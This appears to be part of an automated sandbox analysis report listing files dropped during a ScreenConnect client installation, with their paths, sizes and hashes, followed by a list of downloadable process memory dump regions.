Path C:\Users\Admin\AppData\Local\Temp\MSI6EC.tmp-\ScreenConnect.InstallerActions.dll
Size 24KB
SHA256 cf8505204b1458dac9cb3002fd5bbd5fac43c5b4702aa0153fb4b9a2cfcf954a
MD5 c060e1dcf5402d3bda57c00fa2fd56fb
SHA1 45b319fe4fdb0d546368487c758ac4a0c60737c5
SHA512 4941965012aa81ac02c1bc161d6e3f4aad195a8bc47094afdd192252478eb530bba744ab4f8d615fcb867fe1a8bc91623dfb1ad70491d83e2ff05aaa25dfe5a4
SSDEEP 384:cSazzV1VTsaS8hQlLkmoAAV7NaNeirM0dbMsFkjvZBN20dN5:hazC9AVMcLv/d
TLSH
T126B2E720674CE27AF9EA1634B563FBB011B3BDB3CCE9DA8565A420153D253E04FB5B06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI6EC.tmp-\ScreenConnect.Windows.dll
Size 1.8MB
SHA256 ed1b4eb6c24c85392f692bf5863d9ccb76575051bb605360961b9d7624a371c6
MD5 58aa4d11a9e686a21fcd5cf8f29141bb
SHA1 20710c94635ff8184ab7779aeb572d73dd39bc2a
SHA512 801b4ddd92ca2071e3f21c3bbdfadc8a5e2bf01a0428cda3b656cefe4f854b4d5618e2c060e5a90e2985febb404cbc8adf5b4e56c377f5b31407c9f47d2e09f0
SSDEEP 24576:n5wRfUFj+Ifz3zvnXj/zXzvAAkGz8mvgt379S+2bfR+RfmTk1krT1iH4SqfKPTsF:nsUJkGYYZTk+T1iH7efPDp
TLSH
T1AB95AD45F6C365F6D42F047888BE632AB6743C040315CAFB97D4AA3A6D33BC09A36795
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CustomAction.config

Path C:\Users\Admin\AppData\Local\Temp\MSI9CB.tmp-\CustomAction.config
Size 234B
SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
MD5 6f52ebea639fd7cefca18d9e5272463e
SHA1 b5e8387c2eb20dd37df8f4a3b9b0e875fa5415e3
SHA512 b5960066430ed40383d39365eadb3688cadadfeca382404924024c908e32c670afabd37ab41ff9e6ac97491a5eb8b55367d7199002bf8569cf545434ab2f271a
TLSH
T18CD0A70405D0FD1B5E231A2337524559FF34B1E290A44408B06F3A130A220CD4757317
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI9CB.tmp-\ScreenConnect.WindowsInstaller.dll
Size 390KB
SHA256 c469358d585fa9f1637a02d194e162e454d90b8dc7e4939f88b36e09b04a7a96
MD5 36c8faf3c581775494a6da38ef9dd60e
SHA1 2f3d1a846ca64c1bd920af00a77dee6e40aed4ec
SHA512 0574311206d6aa6d0366fa1279e2f1bc0efacafbf6730b60410d038db7d8f36f82ad797f15896a03ad3cbe33645ea57343acef9e2d00880d6a1f67c63b7c0c65
SSDEEP 6144:zvB99Oa9QoYB9au52um2kJ1BqJW71/DSirthZcyqzYWHOU5J/vz5v6qG:v9ZGo09p5fi1B/ReotAb7/vp
TLSH
T1C7849D2CBF5EB716EA1E0B73C065B200A7F0A0E3599BC35F6D85257D6C04BD42BA52C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientSetup.msi

Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.6.6.9747\bb98d73d4a43fbb4\ScreenConnect.ClientSetup.msi
Size 19.6MB
SHA256 4a36d3c371a1a9d3d8bf61f374dcb48fa07e943bad6c56ae64669fdd947513de
MD5 c3f32fc40a9d99d879f79d50d00b10ac
SHA1 b613c1b057a0b31737ff25315e2b85aa37ff7afe
SHA512 18f2a340dba6258e7edd5fbd3266739cada189f3522d8aa2a8ceca63033d135f7bc74cb30f921e4159784d7da9a213422a9421602b3cb1594cd0339c67b0ba6f
SSDEEP 393216:e6ohU+8bjJ8XQu9ySZ8EO6ohU+8bjJ8q6ohU+8bjJ8U6ohU+8bjJ8g6ohU+8bjJ8:Zoh0bj09ySZzpoh0bjgoh0bjOoh0bj4l
TLSH
T1E02733211BF8D855EAB30B75FA7B87B44637BC51B911A05F13A03A0D1932E829E93377
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientSetup.exe.crdownload

Path C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe.crdownload
Size 23.3MB
SHA256 02d4a4f3d69d79c1ffdcdbe36748105704284a2bd667f0cb18c3392f5fe5b304
MD5 2733bcf5a99794c19604d2299fb2c163
SHA1 1595ee490034b0e94bcf09454de259f35e71c528
SHA512 5959b20667e2ef44e9887f68e35fdcb7e6a8ff50039036c735ea95bb2361e14ba7c89f4f5929ad6cae3ddd49b3aa78ff650a3dce46679fadc79453deb6f750ef
SSDEEP 393216:f06ohU+8bjJ8XQu9ySZ8EO6ohU+8bjJ8q6ohU+8bjJ8U6ohU+8bjJ8g6ohU+8bj1:joh0bj09ySZzpoh0bjgoh0bjOoh0bj4n
TLSH
T1DC372301BBC6A966D97F0735987AA3106771BC414B12C7AF27E07B3D1D327C05E623AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI4BA6.tmp

Path C:\Windows\Installer\MSI4BA6.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\user.config
Size 520B
SHA256 c144bd2be8ed13f949c4ef854068a08227702ae976042f78f22c8e5448e870d9
MD5 cb77c4a8d99a49426014c1882f3a20c4
SHA1 243f4b0a1bb218712bc3b06ef490bf2a8eeda97f
SHA512 834e84e49d7be59d7c8a5cbb5790b8eb6111a04ab3b16292b7ea15c03fa7863345e13a1da15c80ebd329c5203844eee5dd191f120066aa85ea2511f5e015b769
TLSH
T1FBF0E9A531C06D4717635E33C5114741FE72569B0555249874AF613A5F315CE03A31CE
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\user.config
Size 683B
SHA256 7e9a75c62acd26e10289ebb1f546dc304c42696905d5031eaf98c6f84e5893a0
MD5 88c255e81626b96032cd04f21c61c147
SHA1 a33bdf581e1780b9d969dee552c95391ef564727
SHA512 e11b46b85a430658978d53a02dde1fae6728c7e97dc077b688a60ba03ff4b84c36b7297fe405d2a9f3ca2b35876004772dbce823ca0c50e2357d6b466e119140
TLSH
T16001286971C0AE5716B72E33D6614345FE72169B066520D874AE213B5F305DF03E32DE
MD5 SHA1 SHA512 TLSH

Submit Download

xt13ean5.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bb98d73d4a43fbb4)\xt13ean5.newcfg
Size 882B
SHA256 eb538012427b8a41a3cc01fad8b4ee6d005f9b07e9a72b0c7da2216915ab48f3
MD5 ed6e3f1250d2d59e67723567b12a3088
SHA1 929dc983e68fa12091f9fa9215fa6a0c63d806b7
SHA512 dbeed35cce777a74906761159430b9ae8cb64a32c0c0092edc0ffa1f082bff3c878f79196bd904ce68511ea9ba9f7c377fea07781b7e50461470be0bc40f2876
TLSH
T10611BD6971C0AE4606B72A33D5314345FD75169B027560D478AE21375F305DB03E32EB
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1540-438-0x0000000004D90000-0x0000000004E22000-memory.dmp

Download

memory/1540-437-0x0000000004CF0000-0x0000000004D8E000-memory.dmp

Download

memory/1540-439-0x0000000004780000-0x00000000047C1000-memory.dmp

Download

memory/1540-420-0x00000000020A0000-0x00000000020D0000-memory.dmp

Download

memory/1540-421-0x00000000047D0000-0x000000000492A000-memory.dmp

Download

memory/1540-422-0x0000000004B10000-0x0000000004CF0000-memory.dmp

Download

memory/1540-423-0x0000000004730000-0x0000000004780000-memory.dmp

Download

memory/1540-440-0x0000000004A30000-0x0000000004B06000-memory.dmp

Download

memory/2028-471-0x0000000002620000-0x0000000002650000-memory.dmp

Download

memory/2028-469-0x000000001B990000-0x000000001BB70000-memory.dmp

Download

memory/2028-467-0x000000001B150000-0x000000001B1EE000-memory.dmp

Download

memory/2028-468-0x000000001B650000-0x000000001B7AA000-memory.dmp

Download

memory/2028-466-0x0000000000380000-0x0000000000516000-memory.dmp

Download

memory/2028-470-0x000000001BB70000-0x000000001BCF6000-memory.dmp

Download

memory/4636-315-0x0000000005080000-0x00000000050E8000-memory.dmp

Download

memory/5708-240-0x00000000070A0000-0x0000000007644000-memory.dmp

Download

memory/5708-237-0x0000000006700000-0x000000000685A000-memory.dmp

Download

memory/5708-239-0x0000000006900000-0x0000000006AE0000-memory.dmp

Download

memory/5708-238-0x0000000006880000-0x00000000068E8000-memory.dmp

Download

memory/5708-236-0x0000000006620000-0x000000000662C000-memory.dmp

Download

memory/5708-235-0x0000000006600000-0x0000000006608000-memory.dmp

Download

memory/6128-275-0x0000000004A70000-0x0000000004A7C000-memory.dmp

Download

memory/6128-279-0x0000000004BE0000-0x0000000004D3A000-memory.dmp

Download

memory/6128-271-0x0000000004A30000-0x0000000004A5E000-memory.dmp

Download

memory/6128-283-0x0000000004F20000-0x0000000005100000-memory.dmp

Download